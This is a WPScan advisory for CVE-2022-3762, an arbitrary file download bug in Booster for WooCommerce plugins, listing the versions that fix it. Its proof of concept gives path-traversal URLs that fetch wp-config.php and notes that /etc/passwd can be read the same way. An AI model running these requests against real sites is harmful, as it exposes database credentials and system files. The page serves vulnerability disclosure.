

#### WordPress Plugin Vulnerabilities

# Booster for WooCommerce - ShopManager+ Arbitrary File Download

# **Description**

The plugins do not validate files to download in some of its modules, which could allow ShopManager and Admin to download arbitrary files from the server even when they are not supposed to be able to (for example in multisite)

# **Proof of Concept**

```
Enable the "Checkout File Upload" module and open the following URL as a shop manager or admin: https://example.com/wp-admin/?
wcj_download_checkout_file_admin=../../../wp-
config.php&post=1&wcj_checkout_file_number=1 (the post and wcj_checkout_file_number parameters are irrelevant)

Enable the "Product Init Fields" module and open the following URL as a shop manager or admin: http://example.com/wp-admin/?wcj_download_file=../../../wp-config.php

System files such as /etc/passwd can also be retrieved that way
```

# **Affects Plugins**



woocommerce-jetpack

Fixed in version 5.6.7  $\checkmark$ 

booster-plus-for-woocommerce



**booster-elite-for-woocommerce** 

Fixed in version 1.1.7  $\checkmark$ 

### References

**CVE** 

CVE-2022-3762

### Classification

**Type** 

**TRAVERSAL** 

**OWASP top 10** 

A1: Injection

**CWE** 

CWE-22

## Miscellaneous

# **Original Researcher**

**WPScan** 

Verified

Yes

**WPVDB ID** 

96ef4bb8-a054-48ae-b29c-b3060acd01ac



## **Publicly Published**

2022-10-31 (about 25 days ago)

#### Added

2022-10-31 (about 25 days ago)

# **Last Updated**

2022-11-02 (about 23 days ago)

### **Our Other Services**

WPScan WordPress Security Plugin

#### **Vulnerabilities**

WordPress

**Plugins** 

**Themes** 

**Our Stats** 

Submit vulnerabilities

About
WPScan How it works
Pricing
WordPress plugin
News
Contact
For Developers
Status
API details
CLI scanner
Other
Privacy
Terms of service
Submission terms
Disclosure policy

In partnership with Jetpack

